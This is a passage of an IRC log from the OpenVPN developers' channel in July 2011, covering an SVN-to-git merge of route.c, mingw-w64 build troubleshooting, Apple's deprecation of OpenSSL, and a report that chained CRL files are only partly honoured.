/tmp/difftmp123.txt |grep "^+" |sed s/^+// >/tmp/added123.txt 14:27 <@andj> diff /tmp/removed123.txt /tmp/added123.txt -u 14:27 <@andj> is a full script 14:27 <@andj> that does it for you 14:27 <@andj> (warning: mangles stuff in your tmp dir) 14:32 <@andj> hmm, I reckon that should convince jamesyonan on its own 14:32 <@andj> even if he doesn't find a cool alternative :) 15:07 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 15:12 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 15:12 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 15:12 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:12 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:19 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:26 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:26 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:50 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 21:27 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 260 seconds] 22:42 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 22:42 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 22:48 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has joined #openvpn-devel 22:48 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 22:48 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 22:53 -!- jamesyonan_ [~jamesyona@ec2-174-129-74-149.compute-1.amazonaws.com] has quit [Ping timeout: 276 seconds] 23:06 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Fri Jul 22 2011 00:50 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 01:43 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 01:43 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 03:05 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:10 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 07:07 < cron2> re 09:26 <@vpnHelper> RSS Update - tickets: #148: "socks_handshake: server asked for username/login auth but we were not provided any credentials" <https://community.openvpn.net/openvpn/ticket/148> 09:41 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:41 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:03 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:07 -!- dazo_afk is now known as dazo 11:12 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 11:12 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:20 <@dazo> In case anyone wonders after having read news ... I'm all right, no worries :) 11:40 -!- dazo is now known as dazo_afk 12:14 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 12:28 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 12:40 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 12:40 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 12:40 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:40 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:01 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:02 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 15:02 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 15:02 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:02 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:10 -!- dazo_afk is now known as dazo 15:48 < cron2> dazo: you're in Oslo right now? 16:23 <@dazo> cron2: no, as the matter of fact, I left Oslo early this morning 16:54 -!- dazo is now known as dazo_afk 18:09 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 18:09 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Ping timeout: 264 seconds] 18:09 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 18:09 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 21:11 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 21:11 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 21:11 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:11 -!- mode/#openvpn-devel [+v krzie] by ChanServ 22:26 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] --- Day changed Sat Jul 23 2011 01:15 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: No route to host] 01:45 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:45 -!- mode/#openvpn-devel [+v krzie] by ChanServ 01:57 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:09 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 09:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 12:18 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:18 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:50 -!- jamesyonan_ [~jamesyona@ec2-75-101-215-108.compute-1.amazonaws.com] has joined #openvpn-devel 12:50 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 12:50 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 12:55 -!- jamesyonan_ [~jamesyona@ec2-75-101-215-108.compute-1.amazonaws.com] has quit [Ping timeout: 276 seconds] 14:42 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 17:38 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has quit [Ping timeout: 260 seconds] 17:40 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 17:40 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 17:53 <+krzee> apple is deprecating openssl support it seems 17:53 <+krzee> [12:31] <pquerna> hey, i was wondering if anyone had a clue why apple added DEPRECATED_IN_MAC_OS_X_VERSION_10_7_AND_LATER to all openssl functions in lion? 17:53 <+krzee> [15:34] <catarrhine> I don't know the answer to your question, but where do you see that flag pquerna? 17:53 <+krzee> [15:37] <pquerna> so, in openssl/*.h, they wrapped all of the openssl functions with this macro.. lemme gist an example 17:53 <+krzee> [15:39] <pquerna> https://gist.github.com/622be2548820a7ce6ff7#L754 17:53 <@vpnHelper> Title: pquerna's gist: 622be2548820a7ce6ff7 Gist (at gist.github.com) 17:53 <+krzee> [15:39] <pquerna> (this is just x509.h for example, but its on all the headers) 17:53 <+krzee> [15:44] <pquerna> (the conclusion would be... they will remove openssl from the base system in some $future os... they already have their existing ssl impl in libsecurity) 19:47 -!- Essobi_ [~Essobi@74-128-75-198.dhcp.insightbb.com] has joined #openvpn-devel 19:51 -!- Netsplit *.net <-> *.split quits: Essobi 22:36 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:36 -!- mode/#openvpn-devel [+v krzie] by ChanServ 23:25 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has quit [Ping timeout: 240 seconds] 23:26 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 23:26 -!- mode/#openvpn-devel [+o d12fk] by ChanServ --- Day changed Sun Jul 24 2011 01:32 -!- d457k [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 01:32 -!- mode/#openvpn-devel [+o d457k] by ChanServ 01:32 -!- d12fk [~heiko@port-92-198-130-130.static.qsc.de] has quit [Read error: Connection reset by peer] --- Log opened Sun Jul 24 08:09:11 2011 08:09 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 08:09 -!- Irssi: #openvpn-devel: Total of 19 nicks [6 ops, 0 halfops, 2 voices, 11 normal] 08:09 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 08:09 -!- Irssi: Join to #openvpn-devel was synced in 30 secs 13:24 -!- dazo_afk is now known as dazo 13:55 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:55 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:24 <@dazo> jamesyonan: hey! 14:25 <@jamesyonan> hi 14:25 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:26 <@dazo> jamesyonan: I'm trying to merge in your latest changes from SVN (I started a week ago) ... this is giving me a major headache now, as with the IPv6 stuff and some other patches SVN is laying very far away 14:26 <@jamesyonan> which patch is causing the conflict? 14:27 <@dazo> jamesyonan: now it is changes to route.c ... I'm doing a merge not rebase, so I don't see exactly which patch it is 14:27 * dazo looks for it 14:28 <@jamesyonan> ah yes, that's the block-local patch 14:28 <@dazo> "Added redirect-gateway block-local flag, with support for" 14:28 <@dazo> yeah 14:28 <@jamesyonan> that's to block the local subnet on the client side when VPN tunnel is active 14:29 <@dazo> When I'm done resolving the conflicts, I'd like you and cron2 to review it ... I fear this can fail miserably if I do something wrong here 14:29 <@dazo> I'll push it in a separate branch which you can pull to test out 14:29 <@jamesyonan> thanks -- I really appreciate your work on this 14:30 <@dazo> jamesyonan: but please tell me you're not adding something new to the SVN tree now ... I'm not sure I'm able to do such a bit merge once again 14:30 <@dazo> (openvpn.8 had >800 conflicts ... this one I haven't dared counting yet) 14:31 <@dazo> (there are 100 "=======" lines in the merge process in route.c) 14:31 <@jamesyonan> I don't lightly patch 2.1 branch at this point, but sometimes customers need stuff yesterday 14:32 <@dazo> yeah, well, I can understand that ... but would it be possible for you to then forward port these changes in git? 14:33 <@dazo> The latest SVN revision I have now is: 14:33 <@dazo> Last Changed Author: James Yonan 14:33 <@dazo> Last Changed Rev: 7419 14:33 <@dazo> Last Changed Date: 2011-07-06 07:51:19 +0200 (Wed, 06 Jul 2011) 14:33 <@dazo> (Version 2.1.6) 14:34 * dazo need to run for some food ... back in a little while 14:34 <@jamesyonan> right now we're in crunch mode for AS 1.8.2 which should be going into beta within the next week or so 14:35 <@jamesyonan> I'm going to put a priority on git migration as soon as this is out 14:36 <@jamesyonan> I don't expect to do any openvpn 2.1 branch patches during this time 15:10 <@dazo> jamesyonan: thx a lot! 18:52 <@dazo> jamesyonan: cron2: Can you please review this merge? http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e47fb603ed721bb718495e6f8ed42ec134da2f98 18:52 <@vpnHelper> Title: SourceForge - openvpn/openvpn-testing.git/commitdiff (at openvpn.git.sourceforge.net) 18:53 <@dazo> (It's not the final commit message, that will change slightly ... but the merge itself should be pretty decent) 18:54 * dazo forgot to mention that IPv6 patches also increases the merge conflict level 18:57 <@dazo> btw ... I've pushed it to openvpn-testing.git under the tmp/svn-merger branch 18:59 * dazo calls this a day for today 19:05 -!- dazo is now known as dazo_afk --- Day changed Mon Jul 25 2011 01:13 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 01:13 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:02 < cron2> dazo: I'll look at it tonight. Noi time right now, need to go to $work 05:07 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 276 seconds] 05:10 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 05:17 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:17 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 05:26 -!- dazo_afk is now known as dazo 05:42 <@dazo> cron2: thx a lot! I'm having holiday today, tomorrow and Friday, but OpenVPN not "work" in that regards ;-) ... so I'll check in again :) 06:28 -!- krzie [nobody@hemp.ircpimps.org] has joined #openvpn-devel 06:28 -!- krzie [nobody@hemp.ircpimps.org] has quit [Changing host] 06:28 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:28 -!- mode/#openvpn-devel [+v krzie] by ChanServ 06:49 -!- dazo is now known as dazo_afk 07:01 -!- dazo_afk is now known as dazo 08:17 -!- dazo is now known as dazo_afk 13:37 -!- patelx [~a@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 13:50 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:07 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:18 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 15:19 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 15:22 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 258 seconds] 15:22 -!- jamesyonan_ is now known as jamesyonan 15:23 -!- jamesyonan_ [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 15:23 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 15:26 -!- jamesyonan [~jamesyona@208.43.3.119] has quit [Ping timeout: 255 seconds] 15:27 -!- jamesyonan_ [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 258 seconds] 15:29 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 21:27 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 23:19 -!- patelx [~a@openvpn/corp/admin/patel] has joined #openvpn-devel 23:19 -!- mode/#openvpn-devel [+o patelx] by ChanServ --- Day changed Tue Jul 26 2011 00:16 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 00:16 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 00:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 03:09 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:09 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:16 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 03:59 -!- beber [~beber@scabb.meleeweb.net] has joined #openvpn-devel 03:59 -!- d457k is now known as d12fk 04:00 <@d12fk> hi beber 04:00 < beber> hi :) 04:02 < beber> d12fk: I will not be able to test the x86_64 binary before this night, at work currently 04:03 < beber> but fell free (spank my english and) to send me patch if you want 04:04 <@d12fk> beber: expect it to fail even if it builds with the current w64 runtime, there were some crude casts in the code of which there may possibly be more 04:11 <@d12fk> Ugh, debian split up the packages differently in testing, I'll check their svn at sourceforge instead... =) 04:21 <@d12fk> beber: are you using he released version or svn trunk 04:21 < beber> otherwise you may use my toolchains 04:22 < beber> this is for x86_64 host 04:22 < beber> d12fk: the snapshoft from sf 04:22 < beber> mingw-w64/mingw-w64-v1.0-snapshot-20110523.tar.bz2 04:24 <@d12fk> thats what debian testing uses, I'll setup a chroot 05:16 <@d12fk> beber: builds fine with debian testing as well 05:17 <@d12fk> well, there's a glitch in configure.ac, adding -mno-cygwin isn't exactly liked by gcc 4.6.1 it seems. but when i comment those out: fine 07:10 <+ecrist> justin? 07:10 <+ecrist> lol 07:15 < beber> d12fk got the same behaviour without -mno-cygwin 07:15 < beber> could you tell me the ./configure arguments you've putted ? 07:17 < beber> does debian apply any patch ? 07:24 <@d12fk> beber: yes, but nothing closely related to the error 07:25 < beber> mine have none 07:25 < beber> do you have the list ? 07:26 <@d12fk> http://pastebin.com/L2BiswMK 07:27 < beber> I have __imp__wctime in /usr/i686-w64-mingw32/lib/libmingwex.a(lib32_libmingwex_a-_wctime32.o= 07:27 < beber> wtf 07:27 < beber> /usr/i686-w64-mingw32/lib/libmingwex.a(lib32_libmingwex_a-_wctime32.o) 07:28 < beber> [ 0](sec 1)(fl 0x00)(ty 20)(scl 2) (nx 1) 0x00000000 __wctime32 07:28 < beber> AUX tagndx 0 ttlsiz 0x0 lnnos 0 next 0 07:30 <@d12fk> that's why building for x86 works 07:32 <@d12fk> # x86_64-w64-mingw32-objdump -t /usr/x86_64-w64-mingw32/lib/libcrtdll.a | grep wctime 07:32 <@d12fk> [ 7](sec 1)(fl 0x00)(ty 0)(scl 2) (nx 0) 0x0000000000000000 _wctime64 07:32 <@d12fk> [ 8](sec 5)(fl 0x00)(ty 0)(scl 2) (nx 0) 0x0000000000000000 __imp__wctime64 07:32 <@d12fk> [ 7](sec 5)(fl 0x00)(ty 0)(scl 2) (nx 0) 0x0000000000000000 __imp__wctime 07:32 <@d12fk> thats in the debian testing chroot 07:34 < beber> building for x86_64 work, it fail for i686 07:35 <@d12fk> oh, i was always staring at the w64... =/ 07:36 < beber> :) 07:36 < beber> mingw64 is multilib compliant 07:36 < beber> that's why I'm using it 07:36 * d12fk facepalms 07:37 <@d12fk> # i686-w64-mingw32-objdump -t /usr/i686-w64-mingw32/lib/libcrtdll.a | grep wctime 07:37 <@d12fk> < ... void ... > 07:38 < beber> :)) 07:38 < beber> i really prefer this 07:39 <@d12fk> it's in lib32_libmingwex_a-_wctime32.o as well 07:39 < beber> yes 07:40 <@d12fk> seems like a bug to me 07:40 < beber> yes, I think too 07:41 < beber> ktietz from #mingw-w64 is looking on it 07:41 <@d12fk> he's obviously the man 08:02 < beber> d12fk: http://mingw-w64.svn.sourceforge.net/viewvc/mingw-w64?view=revision&revision=4299 08:02 <@vpnHelper> Title: SourceForge.net Repository - [mingw-w64] Revision 4299SourceForge.net Repository - mingw-w64 Index of / (at mingw-w64.svn.sourceforge.net) 08:04 < beber> d12fk: it's fine with that patch 08:04 <@d12fk> ok you're good to go then 08:13 < beber> :) 08:20 < beber> d12fk: why include config.guess/config.sub/install-sh ? 08:20 < beber> theses files should be generated by autofoo* 08:27 <@d12fk> beber: i only use autoconf and they are with automake and libtool 08:27 < beber> libtool can generate it's own files 08:28 <@d12fk> i know, but you have to have it, i justs didn't feel like more build deps 08:28 < beber> :) 08:46 < beber> d12fk: A cool feature would be --config 08:46 < beber> the define the full path of config file 08:47 < beber> to avoid defining --config_dir and --conn 08:47 < beber> so, right click association could start openvpn-config without a wrapper script 08:51 <@d12fk> beber: please add it to the tracker: https://sourceforge.net/tracker/?group_id=248281&atid=1327094 08:51 <@vpnHelper> Title: SourceForge.net: OpenVPN GUI: Issues (at sourceforge.net) 09:02 < beber> d12fk: thanks, I'll do 09:17 < beber> arg, not logged in 09:17 < beber> no tracking :/ 10:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:40 -!- beber [~beber@scabb.meleeweb.net] has quit [Quit: leaving] 11:53 <@mattock> almost meeting time... 11:58 <@andj> evening 11:58 <@mattock> evening! 12:02 <@mattock> let's see if I need to poke james with an email 12:02 <@andj> :) 12:02 <@mattock> actually, I'll do it just in case :D 12:02 <@andj> Otherwise we'll just go with the low-tech solution, and I can have the rest of the evening off :) 12:06 <@mattock> poke sent 12:07 <@andj> ok, I'll just hang around for now 12:22 <@andj> mattock: I'm going to be around, but not behind my computer at all times 12:23 <@andj> Shall we just decide to use the low-tech solution unless James has a working high-tech one? 12:23 <@mattock> okay, I'd say go with the low-tech solution :) 12:23 <@mattock> +1 12:23 <@mattock> I'll poke him beforehand about Thursday's meeting 12:23 <@andj> cool, I'll be around, but reaction times might be a tad slow 12:23 <@mattock> so that he does not miss that one 12:23 <@andj> thanks 12:23 <@mattock> no prob 12:24 <@andj> and I'll definitely be back on Thursday 12:28 <@mattock> great! 12:30 <@mattock> mailed james about thursday and today's decision 12:32 <@andj> Thanks, appreciate it... 12:32 <@andj> Hope we can get some more patches through on Thursday then 12:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 12:41 <+ecrist> there's a meeting? 12:45 <@mattock> would be, but james did not show up 12:45 <@mattock> so no 12:45 <@mattock> he's probably too deep in coding :) 13:38 -!- patelx [~a@openvpn/corp/admin/patel] has quit [Ping timeout: 255 seconds] 14:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:41 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 14:41 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:57 -!- patelx [~a@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has joined #openvpn-devel 16:57 -!- patelx [~a@75-54-230-125.lightspeed.sntcca.sbcglobal.net] has quit [Changing host] 16:57 -!- patelx [~a@openvpn/corp/admin/patel] has joined #openvpn-devel 16:57 -!- mode/#openvpn-devel [+o patelx] by ChanServ 17:49 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 258 seconds] 18:01 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 18:01 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 18:59 -!- genesis_ [775d3322@gateway/web/freenode/ip.119.93.51.34] has joined #openvpn-devel 18:59 -!- genesis_ [775d3322@gateway/web/freenode/ip.119.93.51.34] has left #openvpn-devel [] 22:30 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 22:30 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Remote host closed the connection] 22:30 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 22:34 -!- jamesyonan_ [~jamesyona@208.43.3.119] has quit [Ping timeout: 255 seconds] --- Day changed Wed Jul 27 2011 04:38 -!- raidz1 [~Administr@50-76-49-94-ip-static.hfc.comcastbusiness.net] has joined #openvpn-devel 04:39 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Ping timeout: 258 seconds] 05:44 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 05:44 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 05:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 06:51 -!- dazo_afk is now known as dazo 09:03 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 264 seconds] 09:04 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 09:16 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 255 seconds] 09:17 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 10:26 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 11:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 11:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:56 <@vpnHelper> RSS Update - tickets: #149: /30 rewrite <https://community.openvpn.net/openvpn/ticket/149> 11:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:01 -!- dazo is now known as dazo_afk 14:23 <@andj> Hmm, looks like Apple decided to deprecate OpenSSL :) 15:26 -!- dazo_afk is now known as dazo 16:13 <@vpnHelper> RSS Update - wishlist: How to modify the code and build it using msys for Windows <http://forums.openvpn.net/topic8317.html> || Clear example <http://forums.openvpn.net/topic8266.html> || firewall for blocking ddos attacks <http://forums.openvpn.net/topic8265.html> || Non-Admin usage of OpenVPN on Windows <http://forums.openvpn.net/topic8250.html> || my wish <http://forums.openvpn.net/topic8159.html> || suggested MSS feature for "pr 16:19 <@dazo> andj: hmmm .... what do they prefer instead? 16:39 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 17:09 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:09 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:01 -!- dazo is now known as dazo_afk 21:30 -!- genlime [775d3322@gateway/web/freenode/ip.119.93.51.34] has joined #openvpn-devel 21:31 < genlime> hello there. do we have icmp on openvpn or where can I see ovpn_icmp.tar.gz 21:52 -!- genlime [775d3322@gateway/web/freenode/ip.119.93.51.34] has left #openvpn-devel [] 23:30 * ecrist considers ban on freenode web chat --- Day changed Thu Jul 28 2011 01:48 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 02:13 -!- genlime [775d3322@gateway/web/freenode/ip.119.93.51.34] has joined #openvpn-devel 02:13 < genlime> good day. I would just like to ask about the progress of icmp protocol? 02:22 -!- genlime [775d3322@gateway/web/freenode/ip.119.93.51.34] has quit [Quit: Page closed] 03:22 -!- dazo_afk is now known as dazo 04:57 -!- Veryevil [~Veryevil@83.166.186.218] has joined #openvpn-devel 04:57 < Veryevil> Hi 04:59 < Veryevil> looking for some help developing with the tap-win32 driver and ipv6? 05:13 < Veryevil> !meetings 05:13 <@vpnHelper> "meetings" is (#1) See https://community.openvpn.net/openvpn/wiki/IrcMeetings, or (#2) OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 05:14 <@dazo> Veryevil: hey, you might want to have a chat with cron2 in that case 05:14 <@dazo> Veryevil: or maybe mattock, if it is building related 05:15 <@dazo> Veryevil: however, the tap-win32 driver in 2.2.x is IPv6 enabled 05:15 -!- Veryevil [~Veryevil@83.166.186.218] has quit [] 05:30 -!- Veryevil [~Veryevil@83.166.186.218] has joined #openvpn-devel 06:16 <@andj> Hi everyone 06:21 <@andj> I'm running some tests on OpenVPN 2.1.4, and it seems the same problem exists in 2.3 06:21 <@andj> on CRLs 06:21 <@andj> It's probably a know issue, but if I use a chained CRL file 06:21 <@andj> only the first entry is used 06:23 <@andj> So if I have a CA chain root->int1->int2->clients 06:23 <@andj> and int2 is revoked by int1 06:23 <@andj> and I pass a chain of CRLs in a single pem file 06:23 <@andj> including int1's CRL 06:23 <@andj> verification works 06:24 <@andj> CRL: CRL ca/child_revoked/export-crl.pem is from a different issuer than the issuer of certificate 06:24 <@andj> is the warning I get, but the cert is in there 06:24 <@andj> looking at the underlying code 06:24 <@andj> the CRL is loaded by PEM_read_bio_X509_CRL 06:25 <@andj> But I guess I'll bring this up this evening 06:25 <@andj> during the meeting 06:25 <@andj> as it's a little quiet in here :) 06:46 < Veryevil> It is a little quite 06:55 <@dazo> andj: I think janjust figured out this ... multiple CA's in a CA file doesn't mean it needs to be stacked and validate all certs, one of them is enough ... 06:55 <@dazo> I'll dig up the wiki he wrote about it 06:56 <@dazo> andj: https://community.openvpn.net/openvpn/wiki/Using_Certificate_Chains 06:56 <@vpnHelper> Title: Using_Certificate_Chains – OpenVPN Community (at community.openvpn.net) 06:57 <@dazo> it's probably quiet as it's holiday season :) 07:08 < Veryevil> Anyone able to help with the TAP-win32 driver? 07:16 <@dazo> Veryevil: patience 07:38 <@andj> dazo: That's about CA chains, unfortunately for CRLs (revocation lists) the same doesn't work 07:38 <@dazo> andj: ahh, sorry .... I missed that 07:39 <@andj> It's a minor issue, but I was working on some automated tests here 07:39 <@andj> I know how to fix it in PolarSSL 07:39 <@dazo> cool! that could be useful as some kind of regression testing later on 07:40 <@dazo> what is the PolarSSL fix? 07:40 <@dazo> would it be simple to port that fix to OpenSSL? 07:40 <@andj> PolarSSL can load a stacked list of CRLs easily 07:40 <@dazo> ahh 07:40 <@andj> and I have no idea how to do it in OpenSSL :) 07:41 <@andj> So in PolarSSL I just need to refactor the surrounding code a little (let it check all CRLs instead of just the one) 07:41 <@dazo> yeah, sounds like something to discuss with james ... 07:41 <@andj> yeah, I'll bring it up this evening 07:42 <@andj> I'm looking into this for my tests: 07:42 <@andj> It's a software PKCS#11 lib from heimdal 07:43 <@andj> might let me do some testing without an actual token 07:43 <@andj> http://people.su.se/~lha/soft-pkcs11/README 07:43 <@andj> I've got a few tokens, but it's a bit of a hassle at the moment 08:54 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 08:54 -!- mode/#openvpn-devel [+o d303k] by ChanServ 09:09 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has quit [Quit: Konversation terminated!] 09:09 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 09:09 -!- mode/#openvpn-devel [+o d303k] by ChanServ 09:26 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has quit [Quit: Konversation terminated!] 09:27 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 09:27 -!- mode/#openvpn-devel [+o d303k] by ChanServ 09:44 -!- d303k [~heiko@port-92-198-130-130.static.qsc.de] has quit [Remote host closed the connection] 09:45 -!- genlime [475e9252@gateway/web/freenode/ip.71.94.146.82] has joined #openvpn-devel 09:45 < genlime> do we have update on icmp protocol? 09:46 <@dazo> 